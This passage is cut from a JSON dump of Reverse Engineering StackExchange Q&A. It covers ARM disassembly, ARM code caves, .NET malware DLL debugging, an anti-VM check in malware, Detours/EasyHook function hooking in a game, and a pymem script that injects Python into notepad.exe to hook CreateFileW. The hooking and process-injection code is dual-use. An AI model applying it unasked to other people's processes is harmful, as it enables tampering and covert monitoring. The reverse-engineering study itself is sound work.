        "Answer": "<p>Fixed with the combined solution from <a href=\"https://reverseengineering.stackexchange.com/questions/29389/detourattach-breaks-with-illegal-instruction-0xc000001d/29398#29398\">this</a> and <a href=\"https://reverseengineering.stackexchange.com/questions/29375/how-to-find-offset-to-a-function-address-from-the-base-address-in-decompiled-ima\">this</a> posts.</p>\n"
    },
    {
        "Id": "29339",
        "CreationDate": "2021-09-25T00:17:43.173",
        "Body": "<p>In the analysis of an ARM binary, when would one normally encounter transfer operations between memory and a coprocessor? These are encoded as the <code>LDC</code> and <code>STC</code> operators.</p>\n<p>Would it be common for programs to have this functionality or is it more specific for system-related operations? Any insight would be helpful, thanks in advance.</p>\n<p><a href=\"https://i.stack.imgur.com/3b5lJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3b5lJ.png\" alt=\"analysis with STC operator\" /></a></p>\n",
        "Title": "When would a program normally transfer data between memory and coprocessor?",
        "Tags": "|disassembly|assembly|binary-analysis|arm|",
        "Answer": "<p>Standalone LDC and STC instructions are <em>almost never</em> used in ARM binaries. They were used for a short time in early ARM ISA extensions:</p>\n<ol>\n<li>FPA (Floating-point accelerator) used some variants of LDC/STC etc. to load and store data. IIRC they used coprocessor numbers 0/1/2. It used custom 48-bit floating point format and just a few processors were released that supported it in hardware (but it lived for a few more years thanks to software emulation).</li>\n<li>wMMX and wMMX2 extension was implemented in some Intel XScale(PXA) chip series for DSP acceleration. IIRC it used mostly coprocessor 1 opcodes.</li>\n</ol>\n<p>In both cases, the extensions introduce custom instruction mnemonics rather than use raw coprocessor instructions (but I don't know of Ghidra supports any besides VFP).</p>\n<p>VFP (Vector Floating Point) instructions replaced the short-lived FPA with full IEEE-754 support. Coprocessor numbers 10 and 11 were used. It is still present in ARMv7 (and in some form in ARMv8-M/R). It also uses dedicated mnemonics instead of raw coprocessor instructions.</p>\n<p>Your snippet uses coprocessor 0 so in theory it <em>could</em> be FPA (or possibly wMMX) but the other instructions do not make much sense, especially the two following ones which both overwrite r5. So I think it's just being disassembled in wrong mode. Going by the disassembly, you seem to have set up it in big endian mode, but it seems to make more sense in little endian:</p>\n<pre><code>CODE:0002E910 0B 06                       LSLS            R3, R1, #0x18\nCODE:0002E912 ED 00                       LSLS            R5, R5, #3\nCODE:0002E914 90 2B                       CMP             R3, #0x90\nCODE:0002E916 00 ED 9D 1B                 VSTR            D1, [R0,#-0x274]\n</code></pre>\n<p>It makes somewhat  more sense because R3  is being checked after being written to, but the R5 change still looks out of place, and the VSTR too. Are you sure the code is actually for ARM?\nIn any case, check your settings, especially big/little endian and maybe also Thumb/ARM mode.</p>\n<p>P.S. What you can sometimes actually encounter in real code are MRC and MCR instructions for controlling the system coprocessor (p15) and sometimes debug hardware (p14). Anything else is highly likely to be bogus.</p>\n"
    },
    {
        "Id": "29347",
        "CreationDate": "2021-09-27T19:52:46.010",
        "Body": "<p>I'm trying to reverse engineer a .net malicious EXE but it loads a DLL inside its memory. I have tried to debug this DLL using a tool called SharpDllLoader and dnspy but I have 2 issues:</p>\n<h3>First one:</h3>\n<p>(Cannot create an abstract class.) I searched a little bit and find out that the class inside DLL is <code>static</code>.</p>\n<h3>Second one:</h3>\n<p>After modifying the class type, I have another issue (no parameterless constructor defined for this object)</p>\n<p>I'm not expert in c# but these issues appears after executing <code>CreateInstance</code></p>\n<pre><code>private static void Main(string[] args)\n{\n    ParserResult&lt;Options&gt; result = Parser.Default.ParseArguments&lt;Options&gt;(args);\n    if (result.Tag != ParserResultType.Parsed)\n    {\n        Environment.Exit(1);\n        return;\n    }\n    Options options = ((Parsed&lt;Options&gt;)result).Value;\n    string filepath = options.Dll;\n    string ns = options.Namespace;\n    string c = options.Class;\n    string i = options.Method;\n    string[] arguments = null;\n    if (options.Args != null)\n    {\n        arguments = options.Args.Split(new char[0]);\n    }\n    Assembly assembly = Assembly.LoadFile(filepath);\n    Type type;\n    if (ns == null)\n    {\n        type = assembly.GetType(c);\n    }\n    else\n    {\n        type = assembly.GetType(ns + &quot;.&quot; + c);\n    }\n    if (!(type != null))\n    {\n        Console.WriteLine(&quot;Class or namespace not found&quot;);\n        return;\n    }\n    object cl = Activator.CreateInstance(type); //Here\n</code></pre>\n<h2>Solution</h2>\n<p>I have tried another way to get an instance of this object without running any constructors by using\n<code>FormatterServices.GetUninitializedObject(type)</code>.</p>\n<p><a href=\"https://stackoverflow.com/questions/2501143/activator-createinstancetype-for-a-type-without-parameterless-constructor\">https://stackoverflow.com/questions/2501143/activator-createinstancetype-for-a-type-without-parameterless-constructor</a></p>\n",
        "Title": "How to debug a .net DLL?",
        "Tags": "|debugging|.net|dnspy|",
        "Answer": "<p>By far the easiest way to work with a .NET DLL is to just add it to a console app in the IDE.</p>\n<ul>\n<li>Create a new console app in Visual Studio / Rider, etc. - make sure it's the right Core / Framework version if possible (you'll find out soon if not)</li>\n<li>Add the DLL as a reference to the project (right-click References, Add Reference, Browse)</li>\n<li>You can then just work with the classes and call your static method directly\n<pre><code>The.Namespace.ClassName.Method();\n</code></pre>\n</li>\n</ul>\n<p>However you're then at the mercy of any static initialisation in that class or any classes referenced by that class, which might be something to worry about if you think this is malicious code. (But in that case you should be reading it not running it I expect.)</p>\n<p>To make your existing loader work you can just call the static method on your type directly without making an instance, e.g.</p>\n<pre><code>type.GetMethod(i).Invoke(null, null);\n</code></pre>\n<p>(<a href=\"https://stackoverflow.com/a/11908192/243245\">relevant StackOverflow question</a>)</p>\n"
    },
    {
        "Id": "29348",
        "CreationDate": "2021-09-28T19:57:06.643",
        "Body": "<p>I am new and am still learning assembly languuage. In a native android app library that has been disassembled i found this function which had 1 instruction.</p>\n<pre><code>addres    hex     arm instruction                            function\n2cc3ad   71704708 stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^ function0(unsigned char)\n</code></pre>\n<p>I have read in articles that arguments used to call a function are are stored on r0,r1 and r2 respectively.\nI wanted to add 200 into register r0 so that the instruction can store the value into the the memory referenced by those registers.\nSo i inserted the the hex value of a a mov instruction at the address 2cc3ad so that in a hex editor it appeared like this.\n<code>mov ro, #200</code> is <code>C800A0E3</code> in hex.</p>\n<pre><code>address     Hex              Instruction    \n2cc3ad      C800A0E3         mov ro, #200   \n2cc3b1      71704708         stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^\n</code></pre>\n<p>After editing and adding those bytes i saved to the file.\nBefore using the edited library i tried to redisassemble it but the disassembler gave an error as well as the app which used the library.\nIn my understanding by adding that byte to the library i corrupted the whole file.\nIs there a way or an instruction i can use to to assign a certain value to r0 or to store the value to the memory referenced by those registers in that function without modifying the whole library?</p>\n",
        "Title": "How to insert arm instructions into a function in a native library?",
        "Tags": "|disassembly|arm|register|libraries|",
        "Answer": "<p>Actually what I needed to do was to branch to an empty code cave and insert my code there. Also, I was using a disassembler which was not correctly analysing the function, for example this <code>71704708</code>hex value was decoded as a thumb instruction set on another disassembler while on the disassembler I first used it was an ARM instruction set. The starting address of the function was also incorrect.</p>\n"
    },
    {
        "Id": "29351",
        "CreationDate": "2021-09-29T13:55:39.600",
        "Body": "<p>I am performing some RE on a malware sample, and they are checking the value of SYSTEM_INFO[32] which is <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info\" rel=\"nofollow noreferrer\">SYSTEM_INFO.wProcessorLevel</a>. The description MS provides is not clear to me. The malware checks if this value is 0x0 and exits immediately. Sources online say this is to avoid malware inspection environments - when I read this value on my Windows10 PC (not in a VM, just a basic VS script), it returns 0x6. Can someone shed some light on the meaning of this SYSTEM_INFO offset?</p>\n",
        "Title": "What is the meaning of SYSTEM_INFO.wProcessorLevel?",
        "Tags": "|malware|documentation|",
        "Answer": "<p>for <strong>intel</strong> wProcessorArchitecture<br />\nwProcessorLevel indicates if the family is one of</p>\n<pre><code>386---------------&gt;(3) ,   \n486---------------&gt;(4) ,  \npentium-----------&gt;(5) ,   \npentium2&amp;above----&gt;(6)\n</code></pre>\n<p>for other architectures they return different information</p>\n<p>on my current device</p>\n<pre><code>:\\&gt;wmic cpu get Caption,Level,Name\nCaption                                Level  Name\nIntel64 Family 6 Model 142 Stepping 9  6      Intel(R) Core(TM) i3-7020U CPU @ 2.30GHz\n</code></pre>\n<p>or some c snippet</p>\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n\nint main(void) {\n    SYSTEM_INFO sysinf ={0};\n    GetSystemInfo(&amp;sysinf);\n    printf(&quot;%-30s = %x\\n&quot; , &quot;wProcessorArchitecture&quot;,sysinf.wProcessorArchitecture ); //9 amd64\n    printf(&quot;%-30s = %x\\n&quot; , &quot;wProcessorLevel&quot; ,sysinf.wProcessorLevel ); //6 pent2&amp;above (core i3)\n    printf(&quot;%-30s = %u\\n&quot; , &quot;dwProcessorType&quot; ,sysinf.dwProcessorType ); // 8664 AMD64\n    return 0;\n}\n</code></pre>\n<p>may be the malware runs selectively and infects only specific machine</p>\n<p>or as igorsk commented some emulation environments might be returning 0</p>\n<p>like instead of GeniuneIntel vmware or hyper-v used to return thier names which could be used to detect if running inside vms</p>\n<blockquote>\n<p>On machines running off of Microsoft\u2019s Hyper-V or VMware this string\nwill be \u201cMicrosoft HV\u201d or \u201cVMwareVMware\u201d.</p>\n</blockquote>\n"
    },
    {
        "Id": "29375",
        "CreationDate": "2021-10-06T15:18:40.273",
        "Body": "<p>Let's say there is a default base address for the application image on both IDA and Ghidra and it is equal to <code>140 000 000</code>.</p>\n<p>If the function address is: <code>140 039 ea0</code></p>\n<p>Does it mean that the offset from the base address to that function address is <code>0x39ea0</code>?</p>\n<p>The reason for asking is that when I am setting the hook like this:</p>\n<p><code>HookInfo{(void**)&amp;gladius::get().gamemain, gamemainHooked}</code></p>\n<p>where <code>HookInfo = std::pair&lt;void**, void*&gt;;</code></p>\n<p>The gamemain address is derived from baseAddress of the main process + offset (I am sure it works as intended) is saying that there is <code>read access violation</code> at that address.</p>\n",
        "Title": "How to find offset to a function address from the base address in decompiled image (IDA or Ghidra)",
        "Tags": "|decompilation|address|offset|hexadecimal|",
        "Answer": "<p>Found of how it works.</p>\n<ol>\n<li><p>The offset is indeed just the difference of the addresses, which can be taken from the static analysis, i.e. from IDA or Ghidra regardless in which address space it loads by default.</p>\n</li>\n<li><p>So, if the basis address specified by those tools (in the beginning of the image) is say: <code>140 000 000</code> and the function starts at <code>140 039 ea0</code>, then the offset is: <code>0x39ea0</code></p>\n</li>\n<li><p>To calculate  the address aka baseAddress + Offset properly you need to remember the pointer arithmetics though.</p>\n</li>\n</ol>\n<p><code>baseAddress + Offset / (2*sizeof(pointerSize))</code>,\ni.e.</p>\n<pre><code>DWORD_PTR* address = baseAddress + 0x39ea0 / (2*sizeof(DWORD))\n</code></pre>\n<p>Note: I don't quite know where why the size is twice as big in this case</p>\n<ol start=\"3\">\n<li>Need to make sure that the baseAddress is calculated from the correct application.</li>\n</ol>\n<p>I.e. when simply doing something like: <code>base_address = (DWORD_PTR)GetModuleHandle(NULL);</code>\nyou will get back the address of the application you are currently building. So, if as in my case you are building the proxy dll, then you will get it's base address.</p>\n<p>While the function which I was trying to hook was in the .exe file of the program, which that dll will be hooked at.\nSo, what you really want is:</p>\n<pre><code>baseAddressPtr = (DWORD_PTR*)GetModuleHandleA(&quot;&lt;YourProgram&gt;.exe&quot;);\n</code></pre>\n"
    },
    {
        "Id": "29379",
        "CreationDate": "2021-10-06T22:21:51.363",
        "Body": "<p>This is an example assembly code:</p>\n<pre><code>     function0()\n 0x0.mov r0, #1\n 0x8.mov r1, #20\n0x10.mov r2, #6\n0x18.cmp r1, #16\n0x20.b function1\n\n     function1()\n0x28.cmp r0, #1\n0x30.b functionX\n\n     functionX()\n0x38.bx lr\n</code></pre>\n<p>As far as I know, <code>function0</code> moved those values into the first 3 registers. In <code>function1</code> no values were moved into registers.</p>\n<p>What I don't understand is:</p>\n<ol>\n<li><p>after branching to <code>function1</code> do registers <code>r1</code> and <code>r2</code> still have those values or those registers have been zeroed out?</p>\n</li>\n<li><p>After branching to <code>functionX</code>, is the link register still the same as the one in function0?</p>\n</li>\n</ol>\n",
        "Title": "Branching in arm assembly",
        "Tags": "|assembly|arm|functions|register|",
        "Answer": "<p>It looks like you confuse between functions and blocks. It looks like what you call <code>function0</code>, <code>function1</code> and <code>functionX</code> are in fact parts of the same function, and just different basic blocks within the function.</p>\n<p>To your specific questions:</p>\n<ol>\n<li><p>Nothing changes <code>r0</code>, <code>r1</code>, and <code>r2</code> between <code>0x20.b function1</code> and <code>0x28.cmp r0 #1</code>. So yes, they still hold the values from what you called <code>function0</code>. There is nothing in the code, or in assembly as general that implicitly zero out all registers.</p>\n</li>\n<li><p>This is the place where the lr is fetched, and jumped to - it is supposed to hold the value of the caller function - The instruction after the call to what you called <code>function0</code>. the <code>lr</code> didn't change between what you called <code>function0</code>, <code>function1</code> and <code>functionX</code>.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "29380",
        "CreationDate": "2021-10-07T06:55:37.087",
        "Body": "<p>Here is my use case:</p>\n<p>I am trying to create a script that finds all instances of a particular instruction (in this case wrmsr) and traces back to find out whether the operands for the instruction are hard-coded literals or variables that are set at runtime. This is meant to help me detect a certain flavor of vulnerable driver.</p>\n<p>Does IDAPython have a way to query instruction operands to distinguish between literals and variables? How would I do this?</p>\n",
        "Title": "IDAPython: Is it possible to determine whether an instruction operand is a constant rather than a variable?",
        "Tags": "|idapython|",
        "Answer": "<p><code>idc.get_operand_type()</code> is a concise way to do this.</p>\n<p>e.g.</p>\n<pre><code>if idc.get_operand_type(ea, 1) == idaapi.o_reg:\n    print(&quot;that's a register&quot;)\n</code></pre>\n<p>The operand types are all here: <a href=\"https://hex-rays.com/products/ida/support/sdkdoc/group__o__.html\" rel=\"nofollow noreferrer\">https://hex-rays.com/products/ida/support/sdkdoc/group__o__.html</a></p>\n"
    },
    {
        "Id": "29384",
        "CreationDate": "2021-10-07T16:56:35.430",
        "Body": "<p>In a disassembled elf binary i found these arm thumb instructions:</p>\n<pre><code>function0\n0x002cc3a8  8079       ldrb r0, [r0, #6]\n0x002cc3aa  7047       bx      lr\n</code></pre>\n<p>In the codecave these were the initial hex bytes:</p>\n<pre><code>0x00033fd8 00 00 00 00 00 00 00 00 \n0x00033fe0 00 00 00 00 00 00 00 00\n</code></pre>\n<p>Then i just branched to the code cave(converted the instruction to a thumb hex):</p>\n<pre><code>function0\n0x002cc3a8  33F0EABF        b 0x33fd8\n</code></pre>\n<p>Then inserted the same hex bytes into the code cave(I did not change anything):</p>\n<pre><code>0x00033fd8 80 79 70 47 00 00 00 00\n0x00033fe0 00 00 00 00 00 00 00 00\n</code></pre>\n<p>Function0 and the codecave were in different sections but both sections had the same readable and executable flags. After running the application when that function was called there was an error. The app just quit. It seems like the problem comes from branching to the codecave. Is there something wrong that i did? Should both the function and the codecave be in the same section?</p>\n",
        "Title": "Code caves in arm assembly",
        "Tags": "|disassembly|arm|elf|section|",
        "Answer": "<p>Yeah, finally figured it out by myself. After further testing, it turns out that the problem was indeed with branching. Instead of branching in thumb state, I should have branched in arm state.</p>\n<p>The instruction</p>\n<pre><code>0x2cc3a8  33F0EABF      b 0x33fd8 \n</code></pre>\n<p>Should be</p>\n<pre><code>0x2cc3a8  4C3A0CEA      b 0x33fd8\n</code></pre>\n<p>I don't exactly understand the reason behind this since the original instructions were executed in thumb state and I don't understand why the processor didn't recognise the instruction. I will edit the answer after I get more info on this. By the way the arm state is ARM-7 state since the processor architecture is ARM-7.</p>\n<p><strong>EDIT:</strong>\nFrom the information i got about the branch(b) instruction from the arm and keil website, turns out there are limitations when branching. When branching in thumb mode the distance from the program counter and the address you are branching to should be 2KB in which in my case the code cave was about 111KB far. Branching in arm state worked since limit is 32 MB but somehow it caused errors like increasing the values in registers.</p>\n<p>Solution: Load with psedo instruction to the pc the register the address of the start of the code cave e.g <code>ldr pc, =0x30e93c</code>. This may not work if the function is less than 8 bytes long. In thumb mode loading to the program counter(pc) does not work. So instead you need to load to a general purpose register then move the value to pc . e.g</p>\n<pre><code>ldr r0, =0x30e93c\nmov pc, r0\n</code></pre>\n"
    },
    {
        "Id": "29389",
        "CreationDate": "2021-10-10T17:11:09.570",
        "Body": "<p>I am trying to detour a function using <code>DetourAttach()</code> in the following fashion:</p>\n<pre><code>hooks::logDebug(&quot;swresample-3Proxy.log&quot;, fmt::format(&quot;Try to attach hook. Function {:p}, hook {:p}.&quot;,\n    *hook.first, hook.second));\nwriteProtectedMemory(hook.first, hook.second);\nauto result = DetourAttach(hook.first, hook.second);\n</code></pre>\n<p>Where hook.first = <code>0x00007ff69f119ea0 {Gladius.exe!gladius::Game::main(int,char * *,char * *)} {0x8b4820ec83485340}    void * *</code></p>\n<p>hook.second = <code>0x00007ff818f51ef5 {swresample-3.dll!hooks::gamemainHooked(struct gladius::Game *,int,char * *,char * *)}    void *</code></p>\n<p>But the result comes with the following error:</p>\n<blockquote>\n<p>Exception thrown at 0x00007FF69F119EA1 in Gladius.exe: 0xC000001D:\nIllegal Instruction.</p>\n</blockquote>\n<p>And the question marks (see the screenshot) where the jump instruction supposed to be.</p>\n<p><a href=\"https://i.stack.imgur.com/FxDmT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FxDmT.png\" alt=\"Memory around detoured function\" /></a></p>\n<p>Would appreciate some help in resolving this...</p>\n",
        "Title": "DetourAttach breaks with Illegal Instruction 0xC000001D",
        "Tags": "|c++|function-hooking|dll-injection|api-reversing|",
        "Answer": "<p>Fixed with using <a href=\"https://easyhook.github.io/\" rel=\"nofollow noreferrer\">EasyHook</a> instead of Detours. I.e. replaced this piece of code:</p>\n<pre><code>writeProtectedMemory(hook.first, hook.second);\nauto result = DetourAttach(hook.first, hook.second);\n</code></pre>\n<p>with this:</p>\n<pre><code>HOOK_TRACE_INFO hHook = { NULL }; // keep track of our hook\nNTSTATUS result = LhInstallHook(\n    hook.first,\n    hook.second,\n    NULL,\n    &amp;hHook);\n\nULONG ACLEntries[1] = { 0 };\nLhSetInclusiveACL(ACLEntries, 1, &amp;hHook);\n</code></pre>\n<p>Where hook.first = <code>0x00007ff69f119ea0 {Gladius.exe!gladius::Game::main(int,char * *,char * *)} {0x8b4820ec83485340}    void * *</code></p>\n<p>And hook.second = <code>0x00007ff818f51ef5 {swresample-3.dll!hooks::gamemainHooked(struct gladius::Game *,int,char * *,char * *)}    void *</code></p>\n<p>Now the app correctly jumps to the Hooked function.</p>\n<p>P.S. Don't know what is the deal with DetoursAttach() for x64. I have compiled it specifically for that environment.</p>\n<p>May be it doesn't know of how to pass the hook between the threads... Will check that option later.</p>\n"
    },
    {
        "Id": "29393",
        "CreationDate": "2021-10-11T03:12:50.693",
        "Body": "<p><strong>Background:</strong><br />\nThe Unity engine provides a number of <code>PlayerPrefs.SetXxx</code> functions that can be used to save user data. However, it will automatically append a hash to the name of what you saved. For example, a call of<br />\n<code>PlayerPrefs.SetString(&quot;justTesting&quot;, &quot;TEST!&quot;);</code> <br />\nwill add a registry value of<br />\n<code>justTesting_h3837386411</code><br />\non Windows platform.<br />\n<strong>Problem:</strong><br />\nI know it's actually <a href=\"https://answers.unity.com/questions/177945/playerprefs-changing-the-name-of-keys.html\" rel=\"nofollow noreferrer\">djb2-xor</a>, but I am still curious about how the hash function is implemented. By using dnSpy I found <code>PlayerPrefs.SetString</code>, which is implemented in <code>UnityEngine.CoreModule.dll</code>, finally calls a native method declared as</p>\n<pre><code>[NativeMethod(&quot;SetString&quot;)]\n[MethodImpl(MethodImplOptions.InternalCall)]\nprivate static extern bool TrySetSetString(string key, string value);\n</code></pre>\n<p>And I'm stuck here. There's indeed a string <code>UnityEngine.PlayerPrefs::TrySetSetString</code> in <code>.rdata</code> section of <code>UnityPlayer.dll</code>, but I don't know where to find the actual code for it. What should I do next?</p>\n",
        "Title": "Is there a way to find the implementation of methods with MethodImplOptions.InternalCall attribute?",
        "Tags": "|decompilation|c#|game-hacking|",
        "Answer": "<p>OK after some bold attempts I finally found it quite simple, at least on this Unity version.\nFirst, find the method name string and where it's referenced:\n<a href=\"https://i.stack.imgur.com/gnjkX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gnjkX.png\" alt=\"enter image description here\" /></a></p>\n<p>It is referenced at 11376594. But what's at this address? Here we go:\n<a href=\"https://i.stack.imgur.com/lhJ6t.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lhJ6t.png\" alt=\"enter image description here\" /></a></p>\n<p>It's a string table. The next thing to do is to find out the table's start address, and then what references to this address. This guided me here:\n<a href=\"https://i.stack.imgur.com/Uo8q3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Uo8q3.png\" alt=\"enter image description here\" /></a>\nAnd here:\n<a href=\"https://i.stack.imgur.com/wBvYG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wBvYG.png\" alt=\"enter image description here\" /></a>\nThis is a loop, which binds each function name to items in another table at 11371C40. This new table is a function table so I renamed it:\n<a href=\"https://i.stack.imgur.com/mZaBg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mZaBg.png\" alt=\"enter image description here\" /></a>\nNow it's reasonable to suspect this function table contains how each native method is implemented. By adding the string offset to the function table address, I got the <code>bool TrySetSetString(string key, string value)</code> address. Diving deeper and here is the hash algorithm:\n<a href=\"https://i.stack.imgur.com/2hHh1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2hHh1.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29394",
        "CreationDate": "2021-10-11T05:11:42.660",
        "Body": "<p>I've been analyzing a malware written in C# using dnSpy. It loaded a dotnet assembly DLL from its Resources:\n<a href=\"https://i.stack.imgur.com/z5Tuw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/z5Tuw.png\" alt=\"the malware calling a method from loaded DLL\" /></a></p>\n<p>I tried stepping into <code>InvokeMember</code> function, but could not go further when hitting this call:\n<a href=\"https://i.stack.imgur.com/iv9ey.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iv9ey.png\" alt=\"enter image description here\" /></a></p>\n<p>I've dumped the DLL to file to analyze it statically, but the code is protected by SmartAssembly, so I cannot fully understand its behavior.</p>\n<p>My question is: how can I step into the code of the method called by &quot;InvokeMethod&quot;? If I cannot do it directly, is there any workaround?</p>\n",
        "Title": "How to step into an invoked method from a DotNet DLL in dnSpy?",
        "Tags": "|assembly|dll|.net|dnspy|",
        "Answer": "<p>I've figured out the solution. It's simple. We only need to set a breakpoint inside the DLL.</p>\n"
    },
    {
        "Id": "29405",
        "CreationDate": "2021-10-12T18:57:23.077",
        "Body": "<p>I came across &quot;a strange&quot; inconsistency in terms of the function addresses in the particular application.</p>\n<p>First, the main function is hooked successfully, the address is derived in a fashion:</p>\n<p>baseAddress + Offset, i.e. from Ghidra baseAddress is <strong>140000000</strong> and the address of the main function is: <strong>0x39EA0</strong></p>\n<p>So, the main function address is</p>\n<pre><code>(DWORD_PTR*) baseAddress + 0x39EA0 / (2 * sizeof(DWORD))\n</code></pre>\n<p>This works just fine.</p>\n<p>But now I am trying to call</p>\n<pre><code>gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr);\n</code></pre>\n<p>from within the hooked function and</p>\n<p>which according to Ghidra supposed to be at <strong>14003ef30</strong>.</p>\n<p>That makes the offset equal to <strong>0x3ef30</strong> (plus pointer arithmetic). But at that offset from the baseAddress I get</p>\n<pre><code>Gladius.exe!proxy::video::RenderQueueManager::get\n</code></pre>\n<p>function.</p>\n<p>which in the static analysis is at address <strong>14003ecc0</strong>, 270 bytes away from the static address of <em>getWorld</em>.</p>\n<p>So, what is happening? Why the stack shifted by 270 bytes? Is it the size of my hooked function?</p>\n",
        "Title": "Inconsistency in function addresses of the hooked functions (address shift)",
        "Tags": "|c++|function-hooking|dll-injection|",
        "Answer": "<p>OK. Found the issue after checking the screenshots again. It seems that I simply missed the correct beginning of the function while examining Ghidra output.</p>\n<p>Verifying everything once again as @blabb has suggested has shown that I've missed the correct address for the beginning of the function.</p>\n<p>Here are screenshots for how to it was evaluated:</p>\n<p>Address in Ghidra<a href=\"https://i.stack.imgur.com/btneG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/btneG.png\" alt=\"enter image description here\" /></a>:</p>\n<p>Addresses in VS:\n<a href=\"https://i.stack.imgur.com/5Bakg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5Bakg.png\" alt=\"enter image description here\" /></a></p>\n<p>As you can see the Ghidra <code>offset = 140000000 - 140353ed0 = 353ed0</code></p>\n<p>Is the same as VS <code>offset = createWorld - baseAddress = 0x00007ff6076d3ed0 - 0x00007ff607380000 = 353ed0</code></p>\n<p>As I said - there was a mistake in checking Ghidra offset somehow...</p>\n"
    },
    {
        "Id": "29414",
        "CreationDate": "2021-10-13T16:03:10.873",
        "Body": "<p>I recently observed this bug (error), when I upgraded gcc/g++ from version 9.x to 11.x.</p>\n<p><a href=\"https://i.stack.imgur.com/i3S9n.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i3S9n.png\" alt=\"enter image description here\" /></a></p>\n<p>Basically, Ida fails to parse debug information. I don't get this error when I compile with gcc 9.x. Note that, I get this error when I compile any kind (not specific to source code) of code with <code>-g</code> flag.</p>\n",
        "Title": "ida pro: dwarf fatal error; the dwarf plugin will stop now",
        "Tags": "|ida|",
        "Answer": "<p>It turns out that IDA pro fails to render dwarf5 format which seems to be default in gcc-11.</p>\n<p>More info on that: <a href=\"https://www.phoronix.com/scan.php?page=news_item&amp;px=GCC-11-DWARF-5-Possible-Default\" rel=\"nofollow noreferrer\">https://www.phoronix.com/scan.php?page=news_item&amp;px=GCC-11-DWARF-5-Possible-Default</a></p>\n<p>I changed the format to dwarf4 and it renders the data correctly.</p>\n<pre><code>g++ -gdwarf-4 example.cpp -o example.exe\n</code></pre>\n"
    },
    {
        "Id": "29425",
        "CreationDate": "2021-10-17T15:44:45.903",
        "Body": "<p>I'm trying to hook a win32 function call (<code>CreateFileW</code>) inside of a notepad process to have the function do additional actions before returning what it should do. Ultimately, this will assist me in some RE translation efforts for another project I'm working on, but I'm just doing this as a proof of concept.</p>\n<p>I'm the most comfortable in Python, so I've been trying to accomplish this task in this language.</p>\n<p>There are a lot of small to large scale Python libraries out there on how to RPM/WPM, but hooking/detouring are not focus points with these projects.</p>\n<p>Here is an example of what I've attempted to do with both the <a href=\"https://github.com/srounet/Pymem\" rel=\"nofollow noreferrer\">pymem</a> and <a href=\"https://github.com/hakril/PythonForWindows\" rel=\"nofollow noreferrer\">PythonForWindows</a> libraries to accomplish this task:</p>\n<pre><code>import pymem\nimport sys\nimport os\nfrom json import dumps\n\nwdir = os.path.abspath('.')\n\nlog_path = os.path.join(wdir, 'out.log').replace(&quot;\\\\&quot;, &quot;\\\\\\\\&quot;)\nerr_path = os.path.join(wdir, 'err.log').replace(&quot;\\\\&quot;, &quot;\\\\\\\\&quot;)\n\nshellcode = &quot;&quot;&quot;\nimport sys\nfrom os import chdir\nfrom traceback import format_exc\nsys.path=%s\nchdir(sys.path[0])\n\ndef write_file(message):\n    with open(&quot;%s&quot;, &quot;a&quot;) as f:\n        f.write(str(message))\n\ntry:\n    import windows\n    from windows.hooks import *\n\n    @CreateFileWCallback\n    def createfile_callback(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile, real_function):\n        try:\n            write_file(&quot;Trying to open {0}&quot;.format(lpFileName))\n            return real_function()\n        except:\n            write_file(format_exc())\n\n    peb = windows.current_process.peb.modules[0]\n    imp = peb.pe.imports\n    \n    iat_create_file = [entry for entry in imp['kernel32.dll'] if entry.name == &quot;CreateFileW&quot;]\n    \n    result = iat_create_file[0].set_hook(createfile_callback)\nexcept:\n    write_file(format_exc())\n&quot;&quot;&quot; % (\n    dumps(sys.path).replace(&quot;\\\\&quot;, &quot;\\\\\\\\&quot;),\n    'err.log'\n)\n\npm = pymem.Pymem('notepad.exe')\npm.inject_python_interpreter()\npm.inject_python_shellcode(shellcode)\n</code></pre>\n<p>This code is <em>supposed</em> to hook the <code>CreateFileW</code> function, log the name of the file it's interacting with to a file and then return the rest of the function. My problem is that when this function is called within notepad, the program just hangs -- so not successful unfortunately.</p>\n<p>I have a feeling that my code here:</p>\n<pre><code>pm.inject_python_shellcode(shellcode)\n</code></pre>\n<p>is <a href=\"https://pymem.readthedocs.io/en/latest/api.html?highlight=inject_python_shellcode#pymem.Pymem.inject_python_shellcode\" rel=\"nofollow noreferrer\">spawning a thread and executing immediately</a>, instead of only executing when it has been called - but I don't know of a different way to do this.</p>\n<p>I'm totally open to different ways to go about this. I know <code>ctypes</code> is powerful for this work, but I'm unsure how to implement something like that in this method. I learn best by example code and have easily dumped dozens of hours searching for ways to do this without success. Thanks for any help you can provide!</p>\n",
        "Title": "Hooking IAT in remote process with Python?",
        "Tags": "|python|function-hooking|injection|iat|",
        "Answer": "<p>I cross-posted this to another community that I'm a part of and ended up getting my answer (I should have done this sooner..):</p>\n<p>It was likely that my code was getting garbage collected, hence the lock up. To keep the code there, I added:</p>\n<pre><code>while True:\n  pass\n</code></pre>\n<p>to the end of my <code>try</code> block. The text is now being logged.</p>\n"
    },
    {
        "Id": "29429",
        "CreationDate": "2021-10-18T19:19:05.427",
